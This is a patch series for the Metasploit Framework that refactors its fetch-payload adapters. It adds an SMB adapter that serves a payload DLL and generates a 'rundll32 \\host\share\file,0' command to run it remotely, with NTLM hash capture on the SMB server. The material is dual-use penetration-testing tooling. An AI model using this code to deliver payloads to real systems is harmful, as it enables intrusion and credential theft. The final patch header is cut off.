From a8c240f67169a19824fc5be72752b566c0260df7 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 3 Jan 2024 14:46:15 -0500 Subject: [PATCH 01/10] Refactor existing fetch work * Build the HTTPS server on top of HTTP instead of the other way around * Set the fetch service to nil after it has been cleaned up * Don't capitalize the H in the word handler * Check if the fetch_service is truthy before cleaning it up * Remove the unused FetchServerName datastore option * Fixup the description text * Don't allow slashes in fetch file names * Also add the #fetch_bindnetloc method Fix a problem in fetch/tftp.rb --- lib/msf/core/payload/adapter/fetch.rb | 25 ++-- lib/msf/core/payload/adapter/fetch/http.rb | 7 +- lib/msf/core/payload/adapter/fetch/https.rb | 8 +- .../core/payload/adapter/fetch/server/http.rb | 108 +++++++++++++++-- .../payload/adapter/fetch/server/https.rb | 111 +----------------- .../core/payload/adapter/fetch/server/tftp.rb | 6 +- lib/msf/core/payload/adapter/fetch/tftp.rb | 8 +- .../payloads/adapters/cmd/windows/http/x64.rb | 2 +- .../adapters/cmd/windows/https/x64.rb | 2 +- .../payloads/adapters/cmd/windows/tftp/x64.rb | 2 +- 10 files changed, 131 insertions(+), 148 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 2c7e8eb31b89..e75b8022b5d0 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -5,19 +5,18 @@ def initialize(*args) register_options( [ Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]), - Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces.', Rex::Text.rand_text_alpha(rand(8..12))], regex:/^[\S]*$/), + Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: /^[^\s\/\\]*$/), Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]), Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ false, 'Local IP to use for serving payload']), Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']), - Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces.', ''], regex:/^[\S]*$/) + Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', ''], regex:/^[\S]*$/) ] ) register_advanced_options( [ Msf::OptAddress.new('FetchListenerBindAddress', [ false, 'The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST']), Msf::OptPort.new('FetchListenerBindPort', [false, 'The port to bind to if different from FETCH_SRVPORT']), - Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false]), - Msf::OptString.new('FetchServerName', [true, 'Fetch Server Name', 'Apache']) + Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false]) ] ) @delete_resource = true @@ -27,7 +26,6 @@ def initialize(*args) @remote_destination_win = nil @remote_destination_nix = nil @windows = nil - end # If no fetch URL is provided, we generate one based off the underlying payload data @@ -77,6 +75,10 @@ def fetch_bindport datastore['FetchListenerBindPort'].blank? ? srvport : datastore['FetchListenerBindPort'] end + def fetch_bindnetloc + Rex::Socket.to_authority(fetch_bindhost, fetch_bindport) + end + def generate(opts = {}) datastore['FETCH_SRVHOST'] = datastore['LHOST'] if datastore['FETCH_SRVHOST'].blank? fail_with(Msf::Module::Failure::BadConfig, 'FETCH_SRVHOST required') if datastore['FETCH_SRVHOST'].blank? @@ -130,13 +132,7 @@ def srvhost end def srvnetloc - netloc = srvhost - if Rex::Socket.is_ipv6?(netloc) - netloc = "[#{netloc}]:#{srvport}" - else - netloc = "#{netloc}:#{srvport}" - end - netloc + Rex::Socket.to_authority(srvhost, srvport) end def srvport @@ -148,10 +144,6 @@ def srvuri default_srvuri end - def srvname - datastore['FetchServerName'] - end - def windows? return @windows unless @windows.nil? @windows = platform.platforms.first == Msf::Module::Platform::Windows @@ -243,7 +235,6 @@ def _generate_curl_command cmd + _execute_add end - def _generate_ftp_command case fetch_protocol when 'FTP' diff --git a/lib/msf/core/payload/adapter/fetch/http.rb b/lib/msf/core/payload/adapter/fetch/http.rb index 6f2eecc7f8bd..1e38d0637aa5 100644 --- a/lib/msf/core/payload/adapter/fetch/http.rb +++ b/lib/msf/core/payload/adapter/fetch/http.rb @@ -10,7 +10,11 @@ def initialize(*args) end def cleanup_handler - cleanup_http_fetch_service(@fetch_service, @delete_resource) + if @fetch_service + cleanup_http_fetch_service(@fetch_service, @delete_resource) + @fetch_service = nil + end + super end @@ -20,4 +24,3 @@ def setup_handler end end - diff --git a/lib/msf/core/payload/adapter/fetch/https.rb b/lib/msf/core/payload/adapter/fetch/https.rb index d83267125542..4494b11b075f 100644 --- a/lib/msf/core/payload/adapter/fetch/https.rb +++ b/lib/msf/core/payload/adapter/fetch/https.rb @@ -10,7 +10,11 @@ def initialize(*args) end def cleanup_handler - cleanup_http_fetch_service(@fetch_service, @delete_resource) + if @fetch_service + cleanup_http_fetch_service(@fetch_service, @delete_resource) + @fetch_service = nil + end + super end @@ -19,4 +23,4 @@ def setup_handler super end -end \ No newline at end of file +end diff --git a/lib/msf/core/payload/adapter/fetch/server/http.rb b/lib/msf/core/payload/adapter/fetch/server/http.rb index 74556663dc69..27d7a4799256 100644 --- a/lib/msf/core/payload/adapter/fetch/server/http.rb +++ b/lib/msf/core/payload/adapter/fetch/server/http.rb @@ -1,19 +1,13 @@ module Msf::Payload::Adapter::Fetch::Server::HTTP - include Msf::Payload::Adapter::Fetch::Server::Https - # This mixin supports only HTTP fetch handlers but still imports the HTTPS mixin. - # We just remove the HTTPS Options so the user does not see them. - # + # This mixin supports only HTTP fetch handlers. def initialize(*args) super - deregister_options('FETCH_SSL', - 'FETCH_CHECK_CERT', - 'FetchSSLCert', - 'FetchSSLCompression', - 'FetchSSLCipher', - 'FetchSSLCipher', - 'FetchSSLVersion' + register_advanced_options( + [ + Msf::OptString.new('FetchHttpServerName', [true, 'Fetch HTTP server name', 'Apache']) + ] ) end @@ -21,4 +15,96 @@ def fetch_protocol 'HTTP' end + def srvname + datastore['FetchHttpServerName'] + end + + def add_resource(fetch_service, uri, srvexe) + vprint_status("Adding resource #{uri}") + if fetch_service.resources.include?(uri) + # When we clean up, we need to leave resources alone, because we never added one. + @delete_resource = false + fail_with(Msf::Exploit::Failure::BadConfig, "Resource collision detected. Set FETCH_URIPATH to a different value to continue.") + end + fetch_service.add_resource(uri, + 'Proc' => proc do |cli, req| + on_request_uri(cli, req, srvexe) + end, + 'VirtualDirectory' => true) + rescue ::Exception => e + # When we clean up, we need to leave resources alone, because we never added one. + @delete_resource = false + fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n #{e}") + end + + def cleanup_http_fetch_service(fetch_service, delete_resource) + escaped_srvuri = ('/' + srvuri).gsub('//', '/') + if fetch_service.resources.include?(escaped_srvuri) && delete_resource + fetch_service.remove_resource(escaped_srvuri) + end + fetch_service.deref + if fetch_service.resources.empty? + # if we don't call deref, we cannot start another httpserver + # this is a reimplementation of the cleanup_service method + # in Exploit::Remote::SocketServer + temp_service = fetch_service + temp_service.cleanup + temp_service.deref + end + end + + def start_http_fetch_handler(srvname, srvexe, ssl=false, ssl_cert=nil, ssl_compression=nil, ssl_cipher=nil, ssl_version=nil) + # this looks a bit funny because I converted it to use an instance variable so that if we crash in the + # middle and don't return a value, we still have the right fetch_service to clean up. + escaped_srvuri = ('/' + srvuri).gsub('//', '/') + fetch_service = start_http_server(ssl, ssl_cert, ssl_compression, ssl_cipher, ssl_version) + if fetch_service.nil? + cleanup_handler + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{fetch_bindnetloc}") + end + vprint_status("#{fetch_protocol} server started") + fetch_service.server_name = srvname + add_resource(fetch_service, escaped_srvuri, srvexe) + fetch_service + end + + def on_request_uri(cli, request, srvexe) + client = cli.peerhost + vprint_status("Client #{client} requested #{request.uri}") + if (user_agent = request.headers['User-Agent']) + client += " (#{user_agent})" + end + vprint_status("Sending payload to #{client}") + cli.send_response(payload_response(srvexe)) + end + + def payload_response(srvexe) + res = Rex::Proto::Http::Response.new(200, 'OK', Rex::Proto::Http::DefaultProtocol) + res['Content-Type'] = 'text/html' + res.body = srvexe.to_s.unpack('C*').pack('C*') + res + end + + def start_http_server(ssl=false, ssl_cert=nil, ssl_compression=nil, ssl_cipher=nil, ssl_version=nil) + begin + fetch_service = Rex::ServiceManager.start( + Rex::Proto::Http::Server, + fetch_bindport, fetch_bindhost, ssl, + { + 'Msf' => framework, + 'MsfExploit' => self + }, + _determine_server_comm(fetch_bindhost), + ssl_cert, + ssl_compression, + ssl_cipher, + ssl_version + ) + rescue Exception => e + cleanup_handler + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{fetch_bindnetloc}\n#{e}") + end + vprint_status("Fetch handler listening on #{fetch_bindnetloc}") + fetch_service + end end diff --git a/lib/msf/core/payload/adapter/fetch/server/https.rb b/lib/msf/core/payload/adapter/fetch/server/https.rb index 47127b47506d..4a4984654b76 100644 --- a/lib/msf/core/payload/adapter/fetch/server/https.rb +++ b/lib/msf/core/payload/adapter/fetch/server/https.rb @@ -1,4 +1,5 @@ module Msf::Payload::Adapter::Fetch::Server::Https + include Msf::Payload::Adapter::Fetch::Server::HTTP # This mixin supports both HTTP and HTTPS fetch handlers. If you only want # HTTP, use the HTTP mixin that imports this, but removes the HTTPS options @@ -6,13 +7,11 @@ def initialize(*args) super register_options( [ - Msf::OptBool.new('FETCH_CHECK_CERT', [true,"Check SSL certificate", false]) - + Msf::OptBool.new('FETCH_CHECK_CERT', [true, 'Check SSL certificate', false]) ] ) register_advanced_options( [ - Msf::OptString.new('FetchHttpServerName', [true, 'Http Server Name', 'Apache']), Msf::OptPath.new('FetchSSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)', '']), Msf::OptBool.new('FetchSSLCompression', [ false, 'Enable SSL/TLS-level compression', false ]), Msf::OptString.new('FetchSSLCipher', [ false, 'String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"']), @@ -23,64 +22,10 @@ def initialize(*args) ) end - def add_resource(fetch_service, uri, srvexe) - vprint_status("Adding resource #{uri}") - if fetch_service.resources.include?(uri) - # When we clean up, we need to leave resources alone, because we never added one. - @delete_resource = false - fail_with(Msf::Exploit::Failure::BadConfig, "Resource collision detected. Set FETCH_URI to a different value to continue.") - end - fetch_service.add_resource(uri, - 'Proc' => proc do |cli, req| - on_request_uri(cli, req, srvexe) - end, - 'VirtualDirectory' => true) - rescue ::Exception => e - # When we clean up, we need to leave resources alone, because we never added one. - @delete_resource = false - fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n #{e}") - end - - def cleanup_http_fetch_service(fetch_service, delete_resource) - unless fetch_service.nil? - escaped_srvuri = ('/' + srvuri).gsub('//', '/') - if fetch_service.resources.include?(escaped_srvuri) && delete_resource - fetch_service.remove_resource(escaped_srvuri) - end - fetch_service.deref - if fetch_service.resources.empty? - # if we don't call deref, we cannot start another httpserver - # this is a reimplementation of the cleanup_service method - # in Exploit::Remote::SocketServer - temp_service = fetch_service - fetch_service = nil - temp_service.cleanup - temp_service.deref - end - end - end - def fetch_protocol 'HTTPS' end - def on_request_uri(cli, request, srvexe) - client = cli.peerhost - vprint_status("Client #{client} requested #{request.uri}") - if (user_agent = request.headers['User-Agent']) - client += " (#{user_agent})" - end - vprint_status("Sending payload to #{client}") - cli.send_response(payload_response(srvexe)) - end - - def payload_response(srvexe) - res = Rex::Proto::Http::Response.new(200, 'OK', Rex::Proto::Http::DefaultProtocol) - res['Content-Type'] = 'text/html' - res.body = srvexe.to_s.unpack('C*').pack('C*') - res - end - def ssl_cert datastore['FetchSSLCert'] end @@ -97,57 +42,7 @@ def ssl_version datastore['FetchSSLVersion'] end - def start_http_fetch_handler(srvname, srvexe) - # this looks a bit funny because I converted it to use an instance variable so that if we crash in the - # middle and don't return a value, we still have the right fetch_service to clean up. - escaped_srvuri = ('/' + srvuri).gsub('//', '/') - @fetch_service = start_https_server(false, nil, nil, nil, nil) if @fetch_service.nil? - if @fetch_service.nil? - cleanup_handler - fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{fetch_bindhost}:#{fetch_bindport}") - end - vprint_status('HTTP server started') - @fetch_service.server_name = srvname - add_resource(@fetch_service, escaped_srvuri, srvexe) - @fetch_service - end - def start_https_fetch_handler(srvname, srvexe) - # this looks a bit funny because I converted it to use an instance variable so that if we crash in the - # middle and don't return a value, we still have the right fetch_service to clean up. - escaped_srvuri = ('/' + srvuri).gsub('//', '/') - @fetch_service = start_https_server(true, ssl_cert, ssl_compression, ssl_cipher, ssl_version) if @fetch_service.nil? - if @fetch_service.nil? - cleanup_handler - fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{fetch_bindhost}:#{fetch_bindport}\n #{e}") - end - vprint_status('HTTPS server started') - @fetch_service.server_name = srvname - add_resource(@fetch_service, escaped_srvuri, srvexe) - @fetch_service + start_http_fetch_handler(srvname, srvexe, true, ssl_cert, ssl_compression, ssl_cipher, ssl_version) end - - def start_https_server(ssl, ssl_cert, ssl_compression, ssl_cipher, ssl_version) - begin - fetch_service = Rex::ServiceManager.start( - Rex::Proto::Http::Server, - fetch_bindport, fetch_bindhost, ssl, - { - 'Msf' => framework, - 'MsfExploit' => self - }, - _determine_server_comm(fetch_bindhost), - ssl_cert, - ssl_compression, - ssl_cipher, - ssl_version - ) - rescue Exception => e - cleanup_handler - fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{fetch_bindhost}:#{fetch_bindport}\n #{e}") - end - vprint_status("Fetch Handler listening on #{fetch_bindhost}:#{fetch_bindport}") - fetch_service - end - end diff --git a/lib/msf/core/payload/adapter/fetch/server/tftp.rb b/lib/msf/core/payload/adapter/fetch/server/tftp.rb index ad689fcee6fc..38290616f7f1 100644 --- a/lib/msf/core/payload/adapter/fetch/server/tftp.rb +++ b/lib/msf/core/payload/adapter/fetch/server/tftp.rb @@ -1,7 +1,7 @@ module Msf::Payload::Adapter::Fetch::Server::TFTP def start_tftp_server(srvport, srvhost) - vprint_status("Starting TFTP server on #{srvhost}:#{srvport}") + vprint_status("Starting TFTP server on #{Rex::Socket.to_authority(srvhost, srvport)}") Rex::Proto::TFTP::Server.new(srvport, srvhost, {}) end @@ -14,7 +14,7 @@ def initialize(*args) ) end def cleanup_tftp_fetch_service(fetch_service) - fetch_service.stop unless fetch_service.nil? + fetch_service.stop end def fetch_protocol @@ -25,7 +25,7 @@ def start_tftp_fetch_handler(srvport, srvhost, srvuri, srvexe) fetch_service = start_tftp_server(srvport, srvhost) if fetch_service.nil? cleanup_handler - fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{srvhost}:#{srvport}\n #{e}") + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{srvhost}:#{srvport}\n#{e}") end fetch_service.register_file(srvuri, srvexe, datastore['FETCH_SRVONCE']) fetch_service.start diff --git a/lib/msf/core/payload/adapter/fetch/tftp.rb b/lib/msf/core/payload/adapter/fetch/tftp.rb index acda02eb9bec..f4f8685582cd 100644 --- a/lib/msf/core/payload/adapter/fetch/tftp.rb +++ b/lib/msf/core/payload/adapter/fetch/tftp.rb @@ -10,7 +10,11 @@ def initialize(*args) end def cleanup_handler - cleanup_tftp_fetch_service(@fetch_service) + if @fetch_service + cleanup_tftp_fetch_service(@fetch_service) + @fetch_service = nil + end + super end @@ -19,4 +23,4 @@ def setup_handler super end -end \ No newline at end of file +end diff --git a/modules/payloads/adapters/cmd/windows/http/x64.rb b/modules/payloads/adapters/cmd/windows/http/x64.rb index df90332a47a2..e818e836bae6 100644 --- a/modules/payloads/adapters/cmd/windows/http/x64.rb +++ b/modules/payloads/adapters/cmd/windows/http/x64.rb @@ -12,7 +12,7 @@ def initialize(info = {}) update_info( info, 'Name' => 'HTTP Fetch', - 'Description' => 'Fetch and Execute an x64 payload from an http server', + 'Description' => 'Fetch and execute an x64 payload from an HTTP server.', 'DefaultOptions' => { 'FETCH_COMMAND' => 'CERTUTIL' }, 'Author' => 'Brendan Watters', 'Platform' => 'win', diff --git a/modules/payloads/adapters/cmd/windows/https/x64.rb b/modules/payloads/adapters/cmd/windows/https/x64.rb index d4c8f33ed081..daac7b86e52a 100644 --- a/modules/payloads/adapters/cmd/windows/https/x64.rb +++ b/modules/payloads/adapters/cmd/windows/https/x64.rb @@ -12,7 +12,7 @@ def initialize(info = {}) update_info( info, 'Name' => 'HTTPS Fetch', - 'Description' => 'Fetch and Execute an x64 payload from an https server', + 'Description' => 'Fetch and execute an x64 payload from an HTTPS server.', 'Author' => 'Brendan Watters', 'Platform' => 'win', 'Arch' => ARCH_CMD, diff --git a/modules/payloads/adapters/cmd/windows/tftp/x64.rb b/modules/payloads/adapters/cmd/windows/tftp/x64.rb index 5b8cd853ce0a..533176078e04 100644 --- a/modules/payloads/adapters/cmd/windows/tftp/x64.rb +++ b/modules/payloads/adapters/cmd/windows/tftp/x64.rb @@ -12,7 +12,7 @@ def initialize(info = {}) update_info( info, 'Name' => 'TFTP Fetch', - 'Description' => 'Fetch and Execute an x64 payload from a tftp server', + 'Description' => 'Fetch and execute an x64 payload from a TFTP server.', 'Author' => 'Brendan Watters', 'Platform' => 'win', 'Arch' => ARCH_CMD, From 33306fa4ddca21ac45a3af22f7d3e451e0258405 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 29 Dec 2023 17:19:26 -0500 Subject: [PATCH 02/10] The SRVPORT is already registered The SRVPORT datastore option is registered by the Remote::SMB::Server mixin so including it here is redundant. --- lib/msf/core/exploit/remote/smb/server/share.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/smb/server/share.rb b/lib/msf/core/exploit/remote/smb/server/share.rb index e55c2341b2dd..af82d4904f29 100644 --- a/lib/msf/core/exploit/remote/smb/server/share.rb +++ b/lib/msf/core/exploit/remote/smb/server/share.rb @@ -27,7 +27,6 @@ def initialize(info = {}) register_options( [ - OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 445 ]), OptString.new('SHARE', [ false, 'Share (Default: random); cannot contain spaces or slashes'], regex: /^[^\s\/\\]*$/), OptString.new('FILE_NAME', [ false, 'File name to share (Default: random)']), OptString.new('FOLDER_NAME', [ false, 'Folder name to share (Default: none)']) From b5906418c2ed5a0dcee7025010ed3df38c5989fc Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 3 Jan 2024 14:21:33 -0500 Subject: [PATCH 03/10] Update the HashCapture mixin Use #srvport instead of the datastore and pull in upstream chanes for the metasploit-credential gem to enable use within payloads. --- Gemfile.lock | 2 +- lib/msf/core/exploit/remote/smb/server/hash_capture.rb | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index bc29d421dc7e..b26470169cc2 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -265,7 +265,7 @@ GEM activesupport (~> 7.0) railties (~> 7.0) zeitwerk - metasploit-credential (6.0.6) + metasploit-credential (6.0.7) metasploit-concern metasploit-model metasploit_data_models (>= 5.0.0) diff --git a/lib/msf/core/exploit/remote/smb/server/hash_capture.rb b/lib/msf/core/exploit/remote/smb/server/hash_capture.rb index 93dc6f600ca6..647fea5b8996 100644 --- a/lib/msf/core/exploit/remote/smb/server/hash_capture.rb +++ b/lib/msf/core/exploit/remote/smb/server/hash_capture.rb @@ -62,7 +62,7 @@ def report_ntlm_type3(address:, ntlm_type1:, ntlm_type2:, ntlm_type3:) origin = create_credential_origin_service( { address: address, - port: datastore['SRVPORT'], + port: srvport, service_name: 'smb', protocol: 'tcp', module_fullname: fullname, @@ -74,7 +74,7 @@ def report_ntlm_type3(address:, ntlm_type1:, ntlm_type2:, ntlm_type3:) origin: origin, origin_type: :service, address: address, - port: datastore['SRVPORT'], + port: srvport, service_name: 'smb', username: user, server_challenge: challenge, From 96316a94fef698f5d1ae2de757be29a50c3a2eaf Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 4 Jan 2024 14:11:03 -0500 Subject: [PATCH 04/10] Initial SMB server for fetch payloads --- .../core/payload/adapter/fetch/server/smb.rb | 68 +++++++++++++++++++ lib/msf/core/payload/adapter/fetch/smb.rb | 42 ++++++++++++ .../payloads/adapters/cmd/windows/smb/x64.rb | 36 ++++++++++ 3 files changed, 146 insertions(+) create mode 100644 lib/msf/core/payload/adapter/fetch/server/smb.rb create mode 100644 lib/msf/core/payload/adapter/fetch/smb.rb create mode 100644 modules/payloads/adapters/cmd/windows/smb/x64.rb diff --git a/lib/msf/core/payload/adapter/fetch/server/smb.rb b/lib/msf/core/payload/adapter/fetch/server/smb.rb new file mode 100644 index 000000000000..165b532df7f5 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/server/smb.rb @@ -0,0 +1,68 @@ +module Msf::Payload::Adapter::Fetch::Server::SMB + + include ::Msf::Exploit::Remote::SMB::LogAdapter + include ::Msf::Exploit::Remote::SMB::Server::HashCapture + + def start_smb_server(srvport, srvhost) + vprint_status("Starting SMB server on #{Rex::Socket.to_authority(srvhost, srvport)}") + + log_device = LogDevice::Framework.new(framework) + logger = Logger.new(self, log_device) + + ntlm_provider = Msf::Exploit::Remote::SMB::Server::HashCapture::HashCaptureNTLMProvider.new( + allow_anonymous: true, + allow_guests: true, + listener: self, + ntlm_type3_status: nil + ) + + fetch_service = Rex::ServiceManager.start( + Rex::Proto::SMB::Server, + srvport, + srvhost, + { + 'Msf' => framework, + 'MsfExploit' => self, + }, + _determine_server_comm(srvhost), + gss_provider: ntlm_provider, + logger: logger + ) + + fetch_service.on_client_connect_proc = Proc.new { |client| + on_client_connect(client) + } + fetch_service + end + + def cleanup_smb_fetch_service(fetch_service) + fetch_service.remove_share(@fetch_virtual_disk) + fetch_service.deref + end + + def fetch_protocol + 'SMB' + end + + def start_smb_fetch_handler(srvport, srvhost, srvuri, srvexe) + unless srvuri.include?('\\') + raise RuntimeError, 'The srvuri argument must include a share name' + end + + share_name, _, share_path = srvuri.partition('\\') + + fetch_service = start_smb_server(srvport, srvhost) + if fetch_service.nil? + cleanup_handler + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{Rex::Socket.to_authority(srvhost, srvport)}\n#{e}") + end + + @fetch_virtual_disk = RubySMB::Server::Share::Provider::VirtualDisk.new(share_name) + # the virtual disk expects the path to use the native File::SEPARATOR so normalize on that here + @fetch_virtual_disk.add_static_file(share_path, srvexe) + fetch_service.add_share(@fetch_virtual_disk) + fetch_service + end + +end + diff --git a/lib/msf/core/payload/adapter/fetch/smb.rb b/lib/msf/core/payload/adapter/fetch/smb.rb new file mode 100644 index 000000000000..affba6adddb6 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/smb.rb @@ -0,0 +1,42 @@ +module Msf::Payload::Adapter::Fetch::SMB + + include Msf::Exploit::EXE + include Msf::Payload::Adapter + include Msf::Payload::Adapter::Fetch + include Msf::Payload::Adapter::Fetch::Server::SMB + + + def initialize(*args) + super + register_options( + [ + Msf::OptString.new('FETCH_FILENAME', [ true, 'Payload file name to fetch; cannot contain spaces or slashes.', 'test.dll'], regex: /^[^\s\/\\]*$/), + ] + ) + end + + def fetch_protocol + 'SMB' + end + + def cleanup_handler + if @fetch_service + cleanup_smb_fetch_service(@fetch_service) + @fetch_service = nil + end + + super + end + + def setup_handler + @fetch_service = start_smb_fetch_handler(fetch_bindport, fetch_bindhost, srvuri + "\\#{datastore['FETCH_FILENAME']}", @srvexe) + super + end + + def unc + path = "\\\\#{srvhost}" + path << "\\#{srvuri.gsub('/', "\\").chomp("\\")}" + path << "\\#{datastore['FETCH_FILENAME']}" if datastore['FETCH_FILENAME'].present? + path + end +end diff --git a/modules/payloads/adapters/cmd/windows/smb/x64.rb b/modules/payloads/adapters/cmd/windows/smb/x64.rb new file mode 100644 index 000000000000..78254ec8b2d5 --- /dev/null +++ b/modules/payloads/adapters/cmd/windows/smb/x64.rb @@ -0,0 +1,36 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::SMB + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'SMB Fetch', + 'Description' => 'Fetch and execute an x64 payload from an SMB server.', + 'Author' => 'Spencer McIntyre', + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X64, + 'AdaptedPlatform' => 'win' + ) + ) + deregister_options('FETCH_DELETE', 'FETCH_SRVPORT', 'FETCH_WRITABLE_DIR') + end + + def srvport + 445 # UNC paths for SMB services *must* be 445 + end + + def generate_fetch_commands + "rundll32 #{unc},0" + end + + # generate a DLL instead of an EXE + alias generate_payload_exe generate_payload_dll +end From c9504f9c53652b9ee3933a0f9275a2a112387a08 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 4 Jan 2024 15:05:10 -0500 Subject: [PATCH 05/10] Update the payload specs --- spec/modules/payloads_spec.rb | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index a7b827f36c86..f42e7d90bc77 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -1358,6 +1358,14 @@ reference_name: 'cmd/windows/jjs_reverse_tcp' end + context 'cmd/windows/smb/x64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/windows/smb/x64' + ], + reference_name: 'cmd/windows/smb/x64' + end + context 'cmd/windows/tftp/x64' do it_should_behave_like 'payload is not cached', ancestor_reference_names: [ From 1c36d8994261d5d94f813348a0c2ac3dbcefb006 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 5 Jan 2024 10:06:36 -0500 Subject: [PATCH 06/10] Fix a double deref issue with the HTTP service --- lib/msf/core/payload/adapter/fetch/server/http.rb | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch/server/http.rb b/lib/msf/core/payload/adapter/fetch/server/http.rb index 27d7a4799256..f2b9da716a0d 100644 --- a/lib/msf/core/payload/adapter/fetch/server/http.rb +++ b/lib/msf/core/payload/adapter/fetch/server/http.rb @@ -34,7 +34,7 @@ def add_resource(fetch_service, uri, srvexe) rescue ::Exception => e # When we clean up, we need to leave resources alone, because we never added one. @delete_resource = false - fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n #{e}") + fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n#{e}") end def cleanup_http_fetch_service(fetch_service, delete_resource) @@ -43,14 +43,6 @@ def cleanup_http_fetch_service(fetch_service, delete_resource) fetch_service.remove_resource(escaped_srvuri) end fetch_service.deref - if fetch_service.resources.empty? - # if we don't call deref, we cannot start another httpserver - # this is a reimplementation of the cleanup_service method - # in Exploit::Remote::SocketServer - temp_service = fetch_service - temp_service.cleanup - temp_service.deref - end end def start_http_fetch_handler(srvname, srvexe, ssl=false, ssl_cert=nil, ssl_compression=nil, ssl_cipher=nil, ssl_version=nil) From b9cf7ba89486210e011f8695692a5762862148df Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 5 Jan 2024 11:08:56 -0500 Subject: [PATCH 07/10] Fix an issue where `info` would raise an exception Fix instances where the `info` command would raise an exception while generating the payload to calculate its length. --- lib/msf/core/payload/adapter/fetch.rb | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index e75b8022b5d0..142878c68798 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -7,7 +7,8 @@ def initialize(*args) Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]), Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: /^[^\s\/\\]*$/), Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]), - Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ false, 'Local IP to use for serving payload']), + # FETCH_SRVHOST defaults to LHOST, but if the payload doesn't connect back to Metasploit (e.g. adduser, messagebox, etc.) then FETCH_SRVHOST needs to be set + Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ !options['LHOST']&.required, 'Local IP to use for serving payload']), Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']), Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', ''], regex:/^[\S]*$/) ] @@ -80,8 +81,6 @@ def fetch_bindnetloc end def generate(opts = {}) - datastore['FETCH_SRVHOST'] = datastore['LHOST'] if datastore['FETCH_SRVHOST'].blank? - fail_with(Msf::Module::Failure::BadConfig, 'FETCH_SRVHOST required') if datastore['FETCH_SRVHOST'].blank? opts[:arch] ||= module_info['AdaptedArch'] opts[:code] = super @srvexe = generate_payload_exe(opts) @@ -128,7 +127,10 @@ def handle_connection(conn, opts = {}) end def srvhost - datastore['FETCH_SRVHOST'] + host = datastore['FETCH_SRVHOST'] + host = datastore['LHOST'] if host.blank? + host = '127.127.127.127' if host.blank? + host end def srvnetloc From 3d476f4ef3ff0802b250471f26c83d40ac7fcde1 Mon 